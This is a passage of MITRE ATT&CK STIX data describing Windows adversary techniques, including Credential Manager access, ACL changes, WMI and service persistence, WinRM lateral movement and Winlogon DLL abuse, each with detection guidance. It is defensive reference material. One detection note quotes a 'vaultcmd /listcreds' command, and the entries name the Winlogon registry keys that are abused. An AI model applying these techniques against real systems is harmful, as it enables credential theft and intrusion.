                    "source_name": "Malwarebytes The Windows Vault",
                    "url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ ",
                    "description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020."
                },
                {
                    "source_name": "Microsoft CredEnumerate",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea",
                    "description": "Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020."
                },
                {
                    "source_name": "Delpy Mimikatz Crendential Manager",
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials",
                    "description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-04-29T21:00:18.973Z",
            "created": "2020-11-23T15:35:53.793Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "Bernaldo Penas Antelo",
                "Mugdha Peter Bansode"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution",
                "File: File Access"
            ],
            "x_mitre_detection": "Monitor process and command-line parameters of <code>vaultcmd.exe</code> for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., <code>vaultcmd /listcreds:\u201cWindows Credentials\u201d</code>).(Citation: Malwarebytes The Windows Vault)\n\nConsider monitoring API calls such as <code>CredEnumerateA</code> that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nConsider monitoring file reads to Vault locations, <code>%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\</code>, for suspicious activity.(Citation: Malwarebytes The Windows Vault)",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1222.001",
                    "url": "https://attack.mitre.org/techniques/T1222/001"
                },
                {
                    "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100",
                    "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
                    "source_name": "Hybrid Analysis Icacls1 June 2018"
                },
                {
                    "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110",
                    "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
                    "source_name": "Hybrid Analysis Icacls2 May 2018"
                },
                {
                    "url": "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces",
                    "description": "Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.",
                    "source_name": "Microsoft DACL May 2018"
                },
                {
                    "source_name": "Microsoft Access Control Lists May 2018",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists",
                    "description": "M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020."
                },
                {
                    "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/",
                    "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.",
                    "source_name": "EventTracker File Permissions Feb 2014"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Windows File and Directory Permissions Modification",
            "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",
            "id": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-09-01T20:05:05.268Z",
            "created": "2020-02-04T19:17:41.767Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Active Directory: Active Directory Object Modification",
                "File: File Metadata"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Windows Management Instrumentation",
            "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1047",
                    "url": "https://attack.mitre.org/techniques/T1047"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Server_Message_Block",
                    "description": "Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.",
                    "source_name": "Wikipedia SMB"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx",
                    "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.",
                    "source_name": "TechNet RPC"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx",
                    "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.",
                    "source_name": "MSDN WMI"
                },
                {
                    "source_name": "FireEye WMI SANS 2015",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf",
                    "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020."
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "source_name": "FireEye WMI 2015"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2020-05-13T22:50:51.258Z",
            "created": "2017-05-31T21:30:44.329Z",
            "x_mitre_system_requirements": [
                "WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication."
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_remote_support": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Network Traffic: Network Connection Creation"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": false
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1084",
                    "url": "https://attack.mitre.org/techniques/T1084"
                },
                {
                    "url": "https://www.secureworks.com/blog/wmi-persistence",
                    "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.",
                    "source_name": "Dell WMI Persistence"
                },
                {
                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf",
                    "description": "Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. Investigating PowerShell Attacks &#91;slides&#93;. Retrieved November 3, 2014.",
                    "source_name": "Kazanciyan 2014"
                },
                {
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf",
                    "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.",
                    "source_name": "Mandiant M-Trends 2015"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                },
                {
                    "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96",
                    "source_name": "Medium Detecting WMI Persistence"
                }
            ],
            "name": "Windows Management Instrumentation Event Subscription",
            "id": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-24T14:08:23.156Z",
            "created": "2017-05-31T21:31:05.140Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546.003",
                    "url": "https://attack.mitre.org/techniques/T1546/003"
                },
                {
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf",
                    "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.",
                    "source_name": "Mandiant M-Trends 2015"
                },
                {
                    "source_name": "FireEye WMI SANS 2015",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf",
                    "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020."
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "source_name": "FireEye WMI 2015"
                },
                {
                    "url": "https://www.secureworks.com/blog/wmi-persistence",
                    "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.",
                    "source_name": "Dell WMI Persistence"
                },
                {
                    "source_name": "Microsoft MOF May 2018",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-",
                    "description": "Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020."
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                },
                {
                    "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96",
                    "source_name": "Medium Detecting WMI Persistence"
                },
                {
                    "source_name": "Elastic - Hunting for Persistence Part 1",
                    "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1",
                    "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020."
                },
                {
                    "source_name": "Microsoft Register-WmiEvent",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1",
                    "description": "Microsoft. (n.d.). Retrieved January 24, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Windows Management Instrumentation Event Subscription",
            "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.",
            "id": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-04-13T21:32:54.094Z",
            "created": "2020-01-24T14:07:56.276Z",
            "x_mitre_contributors": [
                "Brent Murphy, Elastic",
                "David French, Elastic"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI <code>EventFilter</code>, <code>EventConsumer</code>, and <code>FilterToConsumerBinding</code> events. Event ID 5861 is logged on Windows 10 systems when new <code>EventFilterToConsumerBinding</code> events are created.(Citation: Elastic - Hunting for Persistence Part 1)\n\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the <code> Register-WmiEvent</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "WMI: WMI Creation"
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            "x_mitre_platforms": [
                "Windows"
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        },
        {
            "id": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39",
            "name": "Windows Remote Management",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1028",
                    "url": "https://attack.mitre.org/techniques/T1028"
                },
                {
                    "external_id": "CAPEC-555",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/555.html"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/aa384426",
                    "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.",
                    "source_name": "Microsoft WinRM"
                },
                {
                    "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2",
                    "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;. Retrieved November 12, 2014.",
                    "source_name": "Jacobsen 2014"
                },
                {
                    "source_name": "Medium Detecting Lateral Movement",
                    "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc",
                    "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019."
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-11T18:30:20.937Z",
            "created": "2017-05-31T21:30:33.723Z"
        },
        {
            "created": "2020-02-11T18:29:47.757Z",
            "modified": "2020-03-25T12:25:03.014Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014)",
            "name": "Windows Remote Management",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1021.006",
                    "url": "https://attack.mitre.org/techniques/T1021/006"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/aa384426",
                    "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.",
                    "source_name": "Microsoft WinRM"
                },
                {
                    "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2",
                    "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;. Retrieved November 12, 2014.",
                    "source_name": "Jacobsen 2014"
                },
                {
                    "source_name": "Medium Detecting Lateral Movement",
                    "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc",
                    "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019."
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement)",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Network Traffic: Network Connection Creation",
                "Logon Session: Logon Session Creation",
                "Command: Command Execution"
            ]
        },
        {
            "created": "2020-01-17T19:13:50.402Z",
            "modified": "2020-09-16T15:49:58.490Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1543.003",
                    "url": "https://attack.mitre.org/techniques/T1543/003"
                },
                {
                    "external_id": "CAPEC-478",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/478.html"
                },
                {
                    "external_id": "CAPEC-550",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/550.html"
                },
                {
                    "external_id": "CAPEC-551",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/551.html"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx",
                    "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
                    "source_name": "TechNet Services"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                },
                {
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697",
                    "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.",
                    "source_name": "Microsoft 4697 APR 2017"
                },
                {
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection",
                    "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.",
                    "source_name": "Microsoft Windows Event Forwarding FEB 2018"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Windows Service",
            "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). \n\nAdversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system.\n\nAn adversary may also incorporate [Masquerading](https://attack.mitre.org/techniques/T1036) by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. \n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). ",
            "id": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward",
                "Travis Smith, Tripwire",
                "Pedro Harrison"
            ],
            "x_mitre_data_sources": [
                "Service: Service Creation",
                "Service: Service Modification",
                "Process: Process Creation",
                "Process: OS API Execution",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Creation",
                "Windows Registry: Windows Registry Key Modification"
            ],
            "x_mitre_effective_permissions": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts.  \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns)  \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79",
            "name": "Winlogon Helper DLL",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1004",
                    "url": "https://attack.mitre.org/techniques/T1004"
                },
                {
                    "external_id": "CAPEC-579",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/579.html"
                },
                {
                    "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order",
                    "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.",
                    "source_name": "Cylance Reg Persistence Sept 2013"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-24T17:07:19.762Z",
            "created": "2017-05-31T21:30:20.148Z"
        },
        {
            "created": "2020-01-24T16:59:59.688Z",
            "modified": "2020-04-21T16:00:41.277Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
            "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.",
            "name": "Winlogon Helper DLL",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1547.004",
                    "url": "https://attack.mitre.org/techniques/T1547/004"
                },
                {
                    "external_id": "CAPEC-579",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/579.html"
                },
                {
                    "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order",
                    "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.",
                    "source_name": "Cylance Reg Persistence Sept 2013"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Module: Module Load",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_permissions_required": [
                "SYSTEM",
                "Administrator"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1547.013",
                    "url": "https://attack.mitre.org/techniques/T1547/013"
                },
                {
                    "description": "Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.",
                    "url": "https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html",
                    "source_name": "Free Desktop Application Autostart Feb 2006"
                },
                {
                    "description": "Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019.",
                    "url": "https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html",
